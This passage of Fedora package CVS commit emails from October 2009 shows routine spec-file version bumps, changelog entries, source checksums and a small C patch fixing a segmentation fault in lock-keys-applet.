-+	command.go.$(file.patterns.web)=htmlview "file://$(FilePath)"
- 
- command.go.$(file.patterns.php)=php -f "$(FileNameExt)"
- command.compile.$(file.patterns.php)=php -l "$(FileNameExt)"
 diff -uNr scite.orig/src/SciTEGlobal.properties scite/src/SciTEGlobal.properties
---- scite.orig/src/SciTEGlobal.properties	2006-05-20 21:54:53.000000000 -0500
-+++ scite/src/SciTEGlobal.properties	2006-06-01 01:02:21.000000000 -0500
-@@ -202,7 +202,7 @@
+--- scite.orig/src/SciTEGlobal.properties	2009-08-11 00:48:52.000000000 -0500
++++ scite/src/SciTEGlobal.properties	2009-10-01 19:52:08.000000000 -0500
+@@ -238,7 +238,7 @@
  	command.scite.help.subsystem=2
  if PLAT_GTK
  	command.print.*=a2ps "$(FileNameExt)"


Index: scite.spec
===================================================================
RCS file: /cvs/pkgs/rpms/scite/F-12/scite.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- scite.spec	27 Jul 2009 03:58:32 -0000	1.9
+++ scite.spec	2 Oct 2009 01:34:12 -0000	1.10
@@ -1,12 +1,12 @@
 Name: scite 
-Version: 1.77
-Release: 2%{?dist}
+Version: 2.01
+Release: 1%{?dist}
 Summary: SCIntilla based GTK2 text editor
 License: MIT
 Group: Applications/Editors
 Url: http://www.scintilla.org/SciTE.html
 
-Source0: http://download.sourceforge.net/scintilla/scite177.tgz
+Source0: http://download.sourceforge.net/scintilla/scite201.tgz
 patch0: scintilla-makefile-flags.patch
 patch1: scite-makefile.patch
 patch2: scite-use-htmlview.patch
@@ -60,6 +60,9 @@ rm -rf %{buildroot}
 %{_datadir}/applications/*
 
 %changelog
+* Thu Oct 1 2009 Jorge Torres <jtorresh at gmail.com> 2.01-1
+- Update to 2.01
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.77-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/scite/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	4 Apr 2009 18:06:07 -0000	1.6
+++ sources	2 Oct 2009 01:34:12 -0000	1.7
@@ -1 +1 @@
-ba016919190c12cfb712e1f004df4187  scite177.tgz
+ef4b6b4d903c29e4ab511488a0d20f46  scite201.tgz



From jorge at fedoraproject.org  Fri Oct  2 02:19:20 2009
From: jorge at fedoraproject.org (Jorge Torres)
Date: Fri,  2 Oct 2009 02:19:20 +0000 (UTC)
Subject: rpms/lock-keys-applet/devel unreported-bug.patch, NONE,
	1.1 lock-keys-applet.spec, 1.23, 1.24
Message-ID: <20091002021920.8CA8211C0261@cvs1.fedora.phx.redhat.com>

Author: jorge

Update of /cvs/pkgs/rpms/lock-keys-applet/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27543

Modified Files:
	lock-keys-applet.spec 
Added Files:
	unreported-bug.patch 
Log Message:


unreported-bug.patch:
 lock-keys-applet.c |    7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

--- NEW FILE unreported-bug.patch ---
diff -Naur lock-keys-applet-1.0.orig/src/lock-keys-applet.c lock-keys-applet-1.0/src/lock-keys-applet.c
--- lock-keys-applet-1.0.orig/src/lock-keys-applet.c	2008-10-05 15:02:57.000000000 -0500
+++ lock-keys-applet-1.0/src/lock-keys-applet.c	2008-10-05 15:02:12.000000000 -0500
@@ -394,7 +394,11 @@
 	{
 		answer = gtk_dialog_run(applet->settings);
 		
-		if (answer == GTK_RESPONSE_ACCEPT)
+		if (answer == GTK_RESPONSE_HELP) 
+		{
+			help_cb(NULL, NULL, NULL);
+		}
+		else
 		{
 			panel_applet_gconf_set_bool(PANEL_APPLET(applet->applet), "capslock_show", applet->show[CAPSLOCK], NULL);
 			panel_applet_gconf_set_bool(PANEL_APPLET(applet->applet), "numlock_show", applet->show[NUMLOCK], NULL);
@@ -404,7 +408,6 @@
 			applet->settings = NULL;
 			break;
 		}
-		help_cb(NULL, NULL, NULL);
 	}
 }
 


Index: lock-keys-applet.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lock-keys-applet/devel/lock-keys-applet.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- lock-keys-applet.spec	25 Jul 2009 11:12:54 -0000	1.23
+++ lock-keys-applet.spec	2 Oct 2009 02:19:18 -0000	1.24
@@ -1,6 +1,6 @@
 Name:           lock-keys-applet
 Version:        1.0
-Release:        17%{?dist}
+Release:        18%{?dist}
 
 Summary:        A GNOME panel applet that shows the status of the lock keys
 Group:          Applications/System
@@ -9,6 +9,7 @@ URL:            http://mfcn.ilo.de/led_a
 Source0:        http://www.wh-hms.uni-ulm.de/~mfcn/shared/lock-keys/lock-keys-applet-1.0.tar.gz
 patch0:		new-tooltips-api.patch	
 patch1:		fix-deprecated.patch
+patch2:     unreported-bug.patch 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  libgnomeui-devel gnome-panel-devel scrollkeeper gettext
 Requires(post): scrollkeeper
@@ -25,6 +26,7 @@ the lock keys and restores them when sta
 %setup -q
 %patch0 -p1
 %patch1 -p1
+%patch2 -p1
 
 %build
 %configure
@@ -54,6 +56,9 @@ scrollkeeper-update -q || :
 %{_libexecdir}/%{name}
 
 %changelog
+* Thu Oct 1 2009
+- Fix segmentation fault
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0-17
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From jorge at fedoraproject.org  Fri Oct  2 02:20:49 2009
From: jorge at fedoraproject.org (Jorge Torres)
Date: Fri,  2 Oct 2009 02:20:49 +0000 (UTC)
Subject: rpms/lock-keys-applet/devel lock-keys-applet.spec,1.24,1.25
Message-ID: <20091002022049.D954C11C0261@cvs1.fedora.phx.redhat.com>

Author: jorge

Update of /cvs/pkgs/rpms/lock-keys-applet/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27843

Modified Files:
	lock-keys-applet.spec 
Log Message:



Index: lock-keys-applet.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lock-keys-applet/devel/lock-keys-applet.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- lock-keys-applet.spec	2 Oct 2009 02:19:18 -0000	1.24
+++ lock-keys-applet.spec	2 Oct 2009 02:20:49 -0000	1.25
@@ -56,7 +56,7 @@ scrollkeeper-update -q || :
 %{_libexecdir}/%{name}
 
 %changelog
-* Thu Oct 1 2009
+* Thu Oct 1 2009 Jorge Torres <jtorresh at gmail.com> - 1.0-18
 - Fix segmentation fault
 
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0-17



From jorge at fedoraproject.org  Fri Oct  2 02:26:36 2009
From: jorge at fedoraproject.org (Jorge Torres)
Date: Fri,  2 Oct 2009 02:26:36 +0000 (UTC)
Subject: rpms/lock-keys-applet/F-12 unreported-bug.patch, NONE,
	1.1 lock-keys-applet.spec, 1.23, 1.24
Message-ID: <20091002022636.D476B11C0261@cvs1.fedora.phx.redhat.com>

Author: jorge

Update of /cvs/pkgs/rpms/lock-keys-applet/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29086

Modified Files:
	lock-keys-applet.spec 
Added Files:
	unreported-bug.patch 
Log Message:


unreported-bug.patch:
 lock-keys-applet.c |    7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

--- NEW FILE unreported-bug.patch ---
diff -Naur lock-keys-applet-1.0.orig/src/lock-keys-applet.c lock-keys-applet-1.0/src/lock-keys-applet.c
--- lock-keys-applet-1.0.orig/src/lock-keys-applet.c	2008-10-05 15:02:57.000000000 -0500
+++ lock-keys-applet-1.0/src/lock-keys-applet.c	2008-10-05 15:02:12.000000000 -0500
@@ -394,7 +394,11 @@
 	{
 		answer = gtk_dialog_run(applet->settings);
 		
-		if (answer == GTK_RESPONSE_ACCEPT)
+		if (answer == GTK_RESPONSE_HELP) 
+		{
+			help_cb(NULL, NULL, NULL);
+		}
+		else
 		{
 			panel_applet_gconf_set_bool(PANEL_APPLET(applet->applet), "capslock_show", applet->show[CAPSLOCK], NULL);
 			panel_applet_gconf_set_bool(PANEL_APPLET(applet->applet), "numlock_show", applet->show[NUMLOCK], NULL);
@@ -404,7 +408,6 @@
 			applet->settings = NULL;
 			break;
 		}
-		help_cb(NULL, NULL, NULL);
 	}
 }
 


Index: lock-keys-applet.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lock-keys-applet/F-12/lock-keys-applet.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- lock-keys-applet.spec	25 Jul 2009 11:12:54 -0000	1.23
+++ lock-keys-applet.spec	2 Oct 2009 02:26:36 -0000	1.24
@@ -1,6 +1,6 @@
 Name:           lock-keys-applet
 Version:        1.0
-Release:        17%{?dist}
+Release:        18%{?dist}
 
 Summary:        A GNOME panel applet that shows the status of the lock keys
 Group:          Applications/System
@@ -9,6 +9,7 @@ URL:            http://mfcn.ilo.de/led_a
 Source0:        http://www.wh-hms.uni-ulm.de/~mfcn/shared/lock-keys/lock-keys-applet-1.0.tar.gz
 patch0:		new-tooltips-api.patch	
 patch1:		fix-deprecated.patch
+patch2:     unreported-bug.patch 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  libgnomeui-devel gnome-panel-devel scrollkeeper gettext
 Requires(post): scrollkeeper
@@ -25,6 +26,7 @@ the lock keys and restores them when sta
 %setup -q
 %patch0 -p1
 %patch1 -p1
+%patch2 -p1
 
 %build
 %configure
@@ -54,6 +56,9 @@ scrollkeeper-update -q || :
 %{_libexecdir}/%{name}
 
 %changelog
+* Thu Oct 1 2009 Jorge Torres <jtorresh at gmail.com> - 1.0-18
+- Fix segmentation fault
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0-17
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From jorge at fedoraproject.org  Fri Oct  2 02:28:46 2009
From: jorge at fedoraproject.org (Jorge Torres)
Date: Fri,  2 Oct 2009 02:28:46 +0000 (UTC)
Subject: rpms/lock-keys-applet/F-11 unreported-bug.patch, NONE,
	1.1 lock-keys-applet.spec, 1.22, 1.23
Message-ID: <20091002022846.65E5911C0261@cvs1.fedora.phx.redhat.com>

Author: jorge

Update of /cvs/pkgs/rpms/lock-keys-applet/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29425

Modified Files:
	lock-keys-applet.spec 
Added Files:
	unreported-bug.patch 
Log Message:


unreported-bug.patch:
 lock-keys-applet.c |    7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

--- NEW FILE unreported-bug.patch ---
diff -Naur lock-keys-applet-1.0.orig/src/lock-keys-applet.c lock-keys-applet-1.0/src/lock-keys-applet.c
--- lock-keys-applet-1.0.orig/src/lock-keys-applet.c	2008-10-05 15:02:57.000000000 -0500
+++ lock-keys-applet-1.0/src/lock-keys-applet.c	2008-10-05 15:02:12.000000000 -0500
@@ -394,7 +394,11 @@
 	{
 		answer = gtk_dialog_run(applet->settings);
 		
-		if (answer == GTK_RESPONSE_ACCEPT)
+		if (answer == GTK_RESPONSE_HELP) 
+		{
+			help_cb(NULL, NULL, NULL);
+		}
+		else
 		{
 			panel_applet_gconf_set_bool(PANEL_APPLET(applet->applet), "capslock_show", applet->show[CAPSLOCK], NULL);
 			panel_applet_gconf_set_bool(PANEL_APPLET(applet->applet), "numlock_show", applet->show[NUMLOCK], NULL);
@@ -404,7 +408,6 @@
 			applet->settings = NULL;
 			break;
 		}
-		help_cb(NULL, NULL, NULL);
 	}
 }
 


Index: lock-keys-applet.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lock-keys-applet/F-11/lock-keys-applet.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- lock-keys-applet.spec	25 Feb 2009 20:46:39 -0000	1.22
+++ lock-keys-applet.spec	2 Oct 2009 02:28:43 -0000	1.23
@@ -1,6 +1,6 @@
 Name:           lock-keys-applet
 Version:        1.0
-Release:        16%{?dist}
+Release:        18%{?dist}
 
 Summary:        A GNOME panel applet that shows the status of the lock keys
 Group:          Applications/System
@@ -9,6 +9,7 @@ URL:            http://mfcn.ilo.de/led_a
 Source0:        http://www.wh-hms.uni-ulm.de/~mfcn/shared/lock-keys/lock-keys-applet-1.0.tar.gz
 patch0:		new-tooltips-api.patch	
 patch1:		fix-deprecated.patch
+patch2:     unreported-bug.patch 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  libgnomeui-devel gnome-panel-devel scrollkeeper gettext
 Requires(post): scrollkeeper
@@ -25,6 +26,7 @@ the lock keys and restores them when sta
 %setup -q
 %patch0 -p1
 %patch1 -p1
+%patch2 -p1
 
 %build
 %configure
@@ -54,6 +56,12 @@ scrollkeeper-update -q || :
 %{_libexecdir}/%{name}
 
 %changelog
+* Thu Oct 1 2009 Jorge Torres <jtorresh at gmail.com> - 1.0-18
+- Fix segmentation fault
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0-17
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0-16
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 



From krh at fedoraproject.org  Fri Oct  2 02:59:27 2009
From: krh at fedoraproject.org (=?utf-8?q?Kristian_H=C3=B8gsberg?=)
Date: Fri,  2 Oct 2009 02:59:27 +0000 (UTC)
Subject: rpms/xorg-x11-drv-intel/F-12 xorg-x11-drv-intel.spec,1.34,1.35
Message-ID: <20091002025927.D15FA11C0261@cvs1.fedora.phx.redhat.com>

Author: krh

Update of /cvs/pkgs/rpms/xorg-x11-drv-intel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1208

Modified Files:
	xorg-x11-drv-intel.spec 
Log Message:
* Thu Oct  1 2009 Kristian H?gsberg <krh at hinata> - 2.9.0-2
- Rebase to 2.9.0.
- Need autoreconf also when patching a release (to pick up -ludev)



Index: xorg-x11-drv-intel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-intel/F-12/xorg-x11-drv-intel.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- xorg-x11-drv-intel.spec	2 Oct 2009 01:06:17 -0000	1.34
+++ xorg-x11-drv-intel.spec	2 Oct 2009 02:59:27 -0000	1.35
@@ -7,7 +7,7 @@
 Summary:   Xorg X11 Intel video driver
 Name:      xorg-x11-drv-intel
 Version:   2.9.0
-Release:   1%{?dist}
+Release:   2%{?dist}
 URL:       http://www.x.org
 License:   MIT
 Group:     User Interface/X Hardware Support
@@ -85,9 +85,9 @@ Debugging tools for Intel graphics chips
 
 %build
  
-%if 0%{?gitdate}
+# Need autoreconf also when patching a release (to pick up -ludev)
 autoreconf -vi
-%endif
+
 %configure --disable-static --libdir=%{_libdir} --mandir=%{_mandir} --enable-dri --enable-kms
 make
 
@@ -137,8 +137,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/intel_*.1*
 
 %changelog
-* Thu Oct  1 2009 Kristian H?gsberg <krh at hinata> - 2.9.0-1
+* Thu Oct  1 2009 Kristian H?gsberg <krh at hinata> - 2.9.0-2
 - Rebase to 2.9.0.
+- Need autoreconf also when patching a release (to pick up -ludev)
 
 * Thu Sep 24 2009 Dave Airlie <airlied at redhat.com> 2.8.0-16.20090909
 - Attempt to make -nr work again



From jorge at fedoraproject.org  Fri Oct  2 03:01:56 2009
From: jorge at fedoraproject.org (Jorge Torres)
Date: Fri,  2 Oct 2009 03:01:56 +0000 (UTC)
Subject: rpms/mimetex/devel mimetex.spec,1.8,1.9 sources,1.2,1.3
Message-ID: <20091002030156.760B811C0261@cvs1.fedora.phx.redhat.com>

Author: jorge

Update of /cvs/pkgs/rpms/mimetex/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1706

Modified Files:
	mimetex.spec sources 
Log Message:
Update to 1.71


Index: mimetex.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mimetex/devel/mimetex.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- mimetex.spec	25 Jul 2009 12:12:41 -0000	1.8
+++ mimetex.spec	2 Oct 2009 03:01:55 -0000	1.9
@@ -1,6 +1,6 @@
 Name:           mimetex
-Version:        1.60
-Release:        7%{?dist}
+Version:        1.71
+Release:        1%{?dist}
 Summary:        Easily embed LaTeX math in web pages
 
 Group:          Applications/Publishing
@@ -34,11 +34,14 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc LICENSE README
+%doc COPYING README
 /%{_var}/www/cgi-bin/%{name}.cgi
 %doc /%{_var}/www/html/%{name}.html
 
 %changelog
+* Thu Oct 1 2009 Jorge Torres <jtorresh at gmail.com> - 1.71-1
+- Update to 1.71
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.60-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mimetex/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	9 Oct 2005 17:37:23 -0000	1.2
+++ sources	2 Oct 2009 03:01:56 -0000	1.3
@@ -1 +1 @@
-9bcd0aea5361c40afb44718c39f8f082  mimetex.zip
+9c05d4a3e3fae1242caa7f7a5f65c015  mimetex.zip



From jorge at fedoraproject.org  Fri Oct  2 03:03:32 2009
From: jorge at fedoraproject.org (Jorge Torres)
Date: Fri,  2 Oct 2009 03:03:32 +0000 (UTC)
Subject: rpms/mimetex/F-12 mimetex.spec,1.8,1.9 sources,1.2,1.3
Message-ID: <20091002030332.EFC5111C0261@cvs1.fedora.phx.redhat.com>

Author: jorge

Update of /cvs/pkgs/rpms/mimetex/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2018

Modified Files:
	mimetex.spec sources 
Log Message:
Update to 1.71


Index: mimetex.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mimetex/F-12/mimetex.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- mimetex.spec	25 Jul 2009 12:12:41 -0000	1.8
+++ mimetex.spec	2 Oct 2009 03:03:32 -0000	1.9
@@ -1,6 +1,6 @@
 Name:           mimetex
-Version:        1.60
-Release:        7%{?dist}
+Version:        1.71
+Release:        1%{?dist}
 Summary:        Easily embed LaTeX math in web pages
 
 Group:          Applications/Publishing
@@ -34,11 +34,14 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc LICENSE README
+%doc COPYING README
 /%{_var}/www/cgi-bin/%{name}.cgi
 %doc /%{_var}/www/html/%{name}.html
 
 %changelog
+* Thu Oct 1 2009 Jorge Torres <jtorresh at gmail.com> - 1.71-1
+- Update to 1.71
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.60-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mimetex/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	9 Oct 2005 17:37:23 -0000	1.2
+++ sources	2 Oct 2009 03:03:32 -0000	1.3
@@ -1 +1 @@
-9bcd0aea5361c40afb44718c39f8f082  mimetex.zip
+9c05d4a3e3fae1242caa7f7a5f65c015  mimetex.zip



From jorge at fedoraproject.org  Fri Oct  2 03:04:18 2009
From: jorge at fedoraproject.org (Jorge Torres)
Date: Fri,  2 Oct 2009 03:04:18 +0000 (UTC)
Subject: rpms/mimetex/F-11 mimetex.spec,1.7,1.8 sources,1.2,1.3
Message-ID: <20091002030418.0D5CA11C0261@cvs1.fedora.phx.redhat.com>

Author: jorge

Update of /cvs/pkgs/rpms/mimetex/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2218

Modified Files:
	mimetex.spec sources 
Log Message:
Update to 1.71


Index: mimetex.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mimetex/F-11/mimetex.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- mimetex.spec	26 Feb 2009 00:47:32 -0000	1.7
+++ mimetex.spec	2 Oct 2009 03:04:17 -0000	1.8
@@ -1,6 +1,6 @@
 Name:           mimetex
-Version:        1.60
-Release:        6%{?dist}
+Version:        1.71
+Release:        1%{?dist}
 Summary:        Easily embed LaTeX math in web pages
 
 Group:          Applications/Publishing
@@ -34,11 +34,17 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc LICENSE README
+%doc COPYING README
 /%{_var}/www/cgi-bin/%{name}.cgi
 %doc /%{_var}/www/html/%{name}.html
 
 %changelog
+* Thu Oct 1 2009 Jorge Torres <jtorresh at gmail.com> - 1.71-1
+- Update to 1.71
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.60-7
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.60-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mimetex/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	9 Oct 2005 17:37:23 -0000	1.2
+++ sources	2 Oct 2009 03:04:17 -0000	1.3
@@ -1 +1 @@
-9bcd0aea5361c40afb44718c39f8f082  mimetex.zip
+9c05d4a3e3fae1242caa7f7a5f65c015  mimetex.zip



From jorge at fedoraproject.org  Fri Oct  2 03:05:18 2009
From: jorge at fedoraproject.org (Jorge Torres)
Date: Fri,  2 Oct 2009 03:05:18 +0000 (UTC)
Subject: rpms/mimetex/F-10 mimetex.spec,1.6,1.7 sources,1.2,1.3
Message-ID: <20091002030518.9A4F211C0261@cvs1.fedora.phx.redhat.com>

Author: jorge

Update of /cvs/pkgs/rpms/mimetex/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2442

Modified Files:
	mimetex.spec sources 
Log Message:
Update to 1.71


Index: mimetex.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mimetex/F-10/mimetex.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- mimetex.spec	8 Aug 2008 17:49:58 -0000	1.6
+++ mimetex.spec	2 Oct 2009 03:05:18 -0000	1.7
@@ -1,6 +1,6 @@
 Name:           mimetex
-Version:        1.60
-Release:        5%{?dist}
+Version:        1.71
+Release:        1%{?dist}
 Summary:        Easily embed LaTeX math in web pages
 
 Group:          Applications/Publishing
@@ -34,11 +34,20 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc LICENSE README
+%doc COPYING README
 /%{_var}/www/cgi-bin/%{name}.cgi
 %doc /%{_var}/www/html/%{name}.html
 
 %changelog
+* Thu Oct 1 2009 Jorge Torres <jtorresh at gmail.com> - 1.71-1
+- Update to 1.71
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.60-7
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.60-6
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
 * Fri Aug  8 2008 Tom "spot" Callaway <tcallawa at redhat.com> - 1.60-5
 - fix license tag
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mimetex/F-10/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	9 Oct 2005 17:37:23 -0000	1.2
+++ sources	2 Oct 2009 03:05:18 -0000	1.3
@@ -1 +1 @@
-9bcd0aea5361c40afb44718c39f8f082  mimetex.zip
+9c05d4a3e3fae1242caa7f7a5f65c015  mimetex.zip



From pgordon at fedoraproject.org  Fri Oct  2 03:14:10 2009
From: pgordon at fedoraproject.org (Peter Gordon)
Date: Fri,  2 Oct 2009 03:14:10 +0000 (UTC)
Subject: rpms/rb_libtorrent/devel .cvsignore, 1.9, 1.10 rb_libtorrent.spec, 
	1.27, 1.28 sources, 1.9, 1.10
Message-ID: <20091002031410.76C3311C0261@cvs1.fedora.phx.redhat.com>

Author: pgordon

Update of /cvs/pkgs/rpms/rb_libtorrent/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4858/devel

Modified Files:
	.cvsignore rb_libtorrent.spec sources 
Log Message:
Update to 0.14.6


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rb_libtorrent/devel/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	3 Jun 2009 05:22:28 -0000	1.9
+++ .cvsignore	2 Oct 2009 03:14:09 -0000	1.10
@@ -1 +1 @@
-libtorrent-rasterbar-0.14.4.tar.gz
+libtorrent-rasterbar-0.14.6.tar.gz


Index: rb_libtorrent.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rb_libtorrent/devel/rb_libtorrent.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- rb_libtorrent.spec	21 Aug 2009 15:41:10 -0000	1.27
+++ rb_libtorrent.spec	2 Oct 2009 03:14:09 -0000	1.28
@@ -2,8 +2,8 @@
 %{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 Name:		rb_libtorrent
-Version:	0.14.4
-Release:	3%{?dist}
+Version:	0.14.6
+Release:	1%{?dist}
 Summary:	A C++ BitTorrent library aiming to be the best alternative
 
 Group:		System Environment/Libraries
@@ -19,6 +19,7 @@ BuildRoot:	%{_tmppath}/%{name}-%{version
 
 BuildRequires:	asio-devel
 BuildRequires:	boost-devel
+BuildRequires:	GeoIP-devel
 BuildRequires:	libtool
 BuildRequires:	python-devel
 BuildRequires:	python-setuptools
@@ -113,6 +114,7 @@ rm -rf include/libtorrent/asio*
 	--with-boost-regex=mt				\
 	--with-boost-system=mt				\
 	--with-boost-thread=mt				\
+	--with-libgeoip=system				\
 	--with-zlib=system
 ## Use the system libtool to ensure that we don't get unnecessary RPATH
 ## hacks in our final build.
@@ -181,6 +183,10 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Sun Sep 27 2009 Peter Gordon <peter at thecodergeek.com> - 0.14.6-1
+- Update to new upstream release (0.14.6)
+- Build against system GeoIP libraries.
+	
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 0.14.4-3
 - rebuilt with new openssl
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rb_libtorrent/devel/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	3 Jun 2009 05:22:28 -0000	1.9
+++ sources	2 Oct 2009 03:14:10 -0000	1.10
@@ -1 +1 @@
-4c1f2bb19d210394316d92e69bd5bfde  libtorrent-rasterbar-0.14.4.tar.gz
+1b5b91a5d0abb8cefef9f4195738e621  libtorrent-rasterbar-0.14.6.tar.gz



From pgordon at fedoraproject.org  Fri Oct  2 03:14:37 2009
From: pgordon at fedoraproject.org (Peter Gordon)
Date: Fri,  2 Oct 2009 03:14:37 +0000 (UTC)
Subject: rpms/rb_libtorrent/F-12 .cvsignore, 1.9, 1.10 rb_libtorrent.spec,
	1.27, 1.28 sources, 1.9, 1.10
Message-ID: <20091002031437.1E65511C0261@cvs1.fedora.phx.redhat.com>

Author: pgordon

Update of /cvs/pkgs/rpms/rb_libtorrent/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5053/F-12

Modified Files:
	.cvsignore rb_libtorrent.spec sources 
Log Message:
Update to 0.14.6


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rb_libtorrent/F-12/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	3 Jun 2009 05:22:28 -0000	1.9
+++ .cvsignore	2 Oct 2009 03:14:36 -0000	1.10
@@ -1 +1 @@
-libtorrent-rasterbar-0.14.4.tar.gz
+libtorrent-rasterbar-0.14.6.tar.gz


Index: rb_libtorrent.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rb_libtorrent/F-12/rb_libtorrent.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- rb_libtorrent.spec	21 Aug 2009 15:41:10 -0000	1.27
+++ rb_libtorrent.spec	2 Oct 2009 03:14:36 -0000	1.28
@@ -2,8 +2,8 @@
 %{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 Name:		rb_libtorrent
-Version:	0.14.4
-Release:	3%{?dist}
+Version:	0.14.6
+Release:	1%{?dist}
 Summary:	A C++ BitTorrent library aiming to be the best alternative
